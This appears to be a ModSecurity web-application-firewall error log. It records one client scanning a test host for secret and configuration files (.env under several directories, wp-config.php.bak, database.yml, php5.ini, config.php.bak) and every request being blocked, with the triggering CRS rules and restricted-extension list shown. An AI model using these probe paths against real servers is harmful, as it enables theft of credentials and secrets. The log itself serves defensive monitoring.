[Wed Feb 25 06:04:36.584445 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3wAAAAQ&quot;]
[Wed Feb 25 06:04:36.585018 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3wAAAAQ&quot;]
[Wed Feb 25 06:04:36.585218 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3wAAAAQ&quot;]
[Wed Feb 25 06:04:36.633714 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW4AAAAAQ&quot;]
[Wed Feb 25 06:04:36.634279 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW4AAAAAQ&quot;]
[Wed Feb 25 06:04:36.636361 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW4AAAAAQ&quot;]
[Wed Feb 25 06:04:36.761298 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWZQAAAAI&quot;]
[Wed Feb 25 06:04:36.761600 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWZQAAAAI&quot;]
[Wed Feb 25 06:04:36.761788 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWZQAAAAI&quot;]
[Wed Feb 25 06:04:36.929064 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWZwAAAAI&quot;]
[Wed Feb 25 06:04:36.929373 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWZwAAAAI&quot;]
[Wed Feb 25 06:04:36.929600 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWZwAAAAI&quot;]
[Wed Feb 25 06:04:36.977248 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cms/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWaAAAAAI&quot;]
[Wed Feb 25 06:04:36.977530 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWaAAAAAI&quot;]
[Wed Feb 25 06:04:36.977719 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ6C5FIszkcv5YapLJKWaAAAAAI&quot;]
[Wed Feb 25 06:04:37.004665 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWaQAAAAI&quot;]
[Wed Feb 25 06:04:37.004997 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWaQAAAAI&quot;]
[Wed Feb 25 06:04:37.005193 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWaQAAAAI&quot;]
[Wed Feb 25 06:04:37.046085 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWagAAAAI&quot;]
[Wed Feb 25 06:04:37.046390 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWagAAAAI&quot;]
[Wed Feb 25 06:04:37.046581 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWagAAAAI&quot;]
[Wed Feb 25 06:04:37.083081 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWawAAAAI&quot;]
[Wed Feb 25 06:04:37.083378 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWawAAAAI&quot;]
[Wed Feb 25 06:04:37.083561 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWawAAAAI&quot;]
[Wed Feb 25 06:04:37.115859 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbAAAAAI&quot;]
[Wed Feb 25 06:04:37.116144 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbAAAAAI&quot;]
[Wed Feb 25 06:04:37.116333 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbAAAAAI&quot;]
[Wed Feb 25 06:04:37.148223 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW5gAAAAQ&quot;]
[Wed Feb 25 06:04:37.148540 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW5gAAAAQ&quot;]
[Wed Feb 25 06:04:37.148812 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW5gAAAAQ&quot;]
[Wed Feb 25 06:04:37.149018 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW5gAAAAQ&quot;]
